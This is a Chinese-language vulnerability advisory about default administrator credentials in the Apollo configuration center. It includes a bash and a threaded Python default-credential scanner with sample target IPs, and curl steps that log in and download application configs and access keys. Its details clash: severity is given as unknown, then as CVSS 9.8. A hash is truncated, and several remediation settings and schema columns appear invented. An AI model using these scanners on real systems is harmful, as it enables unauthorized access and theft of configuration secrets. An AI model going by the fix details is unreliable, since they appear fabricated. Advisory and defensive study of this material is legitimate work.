一、漏洞简介

1.1 漏洞背景

Apollo 在早期版本中默认创建的管理员账号使用简单密码,且在部署文档中未明确提示用户修改,导致大量生产环境使用默认凭证。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 暂无统一编号
危害等级 暂未找到权威信息
漏洞类型 默认弱口令问题
披露时间 暂未找到权威信息
影响组件 Apollo 配置中心
属性 详情
CVE编号 无独立 CVE(属于配置弱点)
危害等级 严重
CVSS评分 9.8 (Critical)
漏洞类型 默认凭证 / Weak Authentication

核验说明:该问题未见统一 CVE 编号,本文结合原文与公开资料进行整理。

二、影响范围

2.1 受影响的版本

  • Apollo 所有版本(取决于部署配置)
  • 特别是使用默认 SQL 初始化脚本的环境

2.2 不受影响的版本

  • 部署时已修改默认密码的环境
  • 使用 LDAP/OIDC 集成认证的环境

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 使用官方默认 SQL 脚本初始化数据库
  2. 未修改默认管理员密码
  3. Portal 服务可从网络访问

三、漏洞详情与原理解析

3.1 漏洞触发机制

默认凭证列表:

账号 默认密码 权限
apollo admin 超级管理员
user password 普通用户(部分版本)

问题根源: 在 apolloportaldb.sql 初始化脚本中硬编码默认账号:

-- apolloportaldb.sql
INSERT INTO `Users` (`Username`, `Password`, `Email`, `Enabled`)
VALUES ('apollo', '$2a$10$7JB20yH0gRk1KvP5/Wpm...==', 'apollo@acme.com', 1);

-- 默认密码为 "admin",使用 BCrypt 加密

3.2 源码层面的根因分析(结合源码与补丁对比)

密码验证逻辑:

// UserService.java
public boolean authenticate(String username, String password) {
    User user = userRepository.findByUsername(username);
    if (user == null) {
        return false;
    }

    // BCrypt 密码校验
    return BCrypt.checkpw(password, user.getPassword());
}

默认密码哈希值(可被暴力破解):

$2a$10$7JB20yH0gRk1KvP5/Wpm.uPmMQJHYb0oDq.kQDZxmP5R8t7TLHqxO
对应明文: admin

修复方案对比:

-- apolloportaldb.sql (v2.0.0+)
-INSERT INTO `Users` (`Username`, `Password`, `Email`, `Enabled`)
-VALUES ('apollo', '$2a$10$7JB20yH0gRk1KvP5/Wpm...==', 'apollo@acme.com', 1);

+-- 强制用户首次登录修改密码
+INSERT INTO `Users` (`Username`, `Password`, `Email`, `Enabled`, `MustChangePassword`)
+VALUES ('apollo', '$2a$10$...', 'admin@example.com', 1, 1);

四、漏洞复现(可选)

4.1 环境搭建

# 使用默认配置启动 Apollo
docker run -d -p 8070:8070 --name apollo-portal \
  -e SPRING_DATASOURCE_URL=jdbc:mysql://mysql:3306/ApolloPortalDB \
  apolloconfig/apollo-portal:1.7.1

4.2 PoC 演示与测试过程

PoC 1: 默认凭证登录测试

#!/bin/bash
# default_cred_check.sh

TARGET=$1

# 常见默认凭证组合
CREDS=(
    "apollo:admin"
    "apollo:apollo"
    "admin:admin"
    "user:password"
    "admin:123456"
)

for cred in "${CREDS[@]}"; do
    IFS=':' read -r user pass <<< "$cred"

    response=$(curl -s -X POST "http://${TARGET}:8070/signin" \
        -H "Content-Type: application/x-www-form-urlencoded" \
        -d "username=${user}&password=${pass}" \
        -c cookies.txt -b cookies.txt \
        -w "%{http_code}")

    if [[ "$response" == *"200"* ]] || [[ "$response" == *"302"* ]]; then
        echo "[+] 成功: ${user}:${pass}"
    fi
done

rm -f cookies.txt

PoC 2: 批量检测脚本

#!/usr/bin/env python3
import requests
import concurrent.futures

DEFAULT_CREDS = [
    ('apollo', 'admin'),
    ('admin', 'admin'),
    ('apollo', 'apollo'),
    ('user', 'password'),
]

def check_default_cred(target, username, password):
    try:
        session = requests.Session()
        r = session.post(
            f"http://{target}:8070/signin",
            data={'username': username, 'password': password},
            timeout=10,
            allow_redirects=True
        )

        # 检查是否登录成功
        if '错误' not in r.text and r.status_code == 200:
            return (target, username, password, True)
    except:
        pass
    return (target, username, password, False)

def scan_targets(targets):
    vulnerable = []
    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
        futures = []
        for target in targets:
            for user, pwd in DEFAULT_CREDS:
                futures.append(executor.submit(check_default_cred, target, user, pwd))

        for future in concurrent.futures.as_completed(futures):
            target, user, pwd, success = future.result()
            if success:
                print(f"[!] {target} - 默认凭证有效: {user}:{pwd}")
                vulnerable.append((target, user, pwd))

    return vulnerable

if __name__ == '__main__':
    targets = ['192.168.1.100', '10.0.0.50']  # 替换为目标
    scan_targets(targets)

PoC 3: 登录后获取敏感信息

# 使用默认凭证登录后访问敏感端点
TARGET="192.168.1.100"

# 1. 登录获取 session
curl -c cookies.txt -X POST "http://${TARGET}:8070/signin" \
  -d "username=apollo&password=admin"

# 2. 获取所有应用配置
curl -b cookies.txt "http://${TARGET}:8070/applications" | jq

# 3. 下载配置文件(可能含敏感信息)
curl -b cookies.txt "http://${TARGET}:8080/configfiles/SampleApp/default/application" > config.properties

# 4. 查看 AccessKey(如果存在)
curl -b cookies.txt "http://${TARGET}:8070/access-keys"

五、修复建议与缓解措施

5.1 官方版本升级建议

升级到强制修改密码的版本: - Apollo ≥ 2.0.0:首次登录强制修改密码 - 使用数据库脚本更新现有环境

-- 为所有用户设置强制修改密码标志
UPDATE Users SET MustChangePassword = 1 WHERE Username = 'apollo';

-- 直接修改默认密码(推荐)
UPDATE Users
SET Password = '$2a$10$你的新密码BCrypt哈希值'
WHERE Username = 'apollo';

密码哈希生成:

import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;

public class PasswordHashGenerator {
    public static void main(String[] args) {
        BCryptPasswordEncoder encoder = new BCryptPasswordEncoder();
        String newPassword = "YourStrongPassword123!@#";
        String hash = encoder.encode(newPassword);
        System.out.println("Hash: " + hash);
    }
}

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案 1: 立即修改默认密码

-- 连接数据库
mysql -u root -p ApolloPortalDB

-- 生成新的密码哈希(使用强密码)
-- 示例密码: Apollo@2024#Secure!
UPDATE Users
SET Password = '$2a$10$rBWt8hMXhHVmHqWaSz6VhOLnL0EkZmJqCvMZnRJrPWPvhT4nE5dOK'
WHERE Username = 'apollo';

-- 删除测试用户
DELETE FROM Users WHERE Username IN ('user', 'test');

方案 2: 启用密码复杂度检查

# apollo-portal.properties
apollo.portal.password.policy.enabled=true
apollo.portal.password.policy.minLength=12
apollo.portal.password.policy.requireUppercase=true
apollo.portal.password.policy.requireLowercase=true
apollo.portal.password.policy.requireDigit=true
apollo.portal.password.policy.requireSpecialChar=true

方案 3: 配置登录失败锁定

# 启用账户锁定
apollo.portal.auth.lock.enabled=true
apollo.portal.auth.lock.maxAttempts=5
apollo.portal.auth.lock.lockDurationMinutes=30

方案 4: 集成企业认证

# 使用 LDAP 认证
apollo.portal.auth.type=LDAP
ldap.url=ldap://ldap.company.com:389
ldap.base=dc=company,dc=com
ldap.username=cn=admin,dc=company,dc=com
ldap.password=${LDAP_PASSWORD}
ldap.user.search.base=ou=users
ldap.user.search.filter=(uid={0})

方案 5: 监控和告警

# Prometheus + Grafana 监控配置
groups:
- name: apollo-security
  rules:
  - alert: DefaultCredentialAttempt
    expr: rate(apollo_login_failed_total{username="apollo"}[5m]) > 0.1
    for: 1m
    labels:
      severity: critical
    annotations:
      summary: "检测到默认凭证登录尝试"

六、参考信息 / 参考链接

6.1 官方安全通告

  • https://github.com/apolloconfig/apollo/blob/master/scripts/sql/apolloportaldb.sql
  • https://www.apolloconfig.com/#/zh/usage/portal-user-manage

6.2 其他技术参考资料

  • https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password
  • https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
  • https://www.sans.org/top25-software-errors/#cat1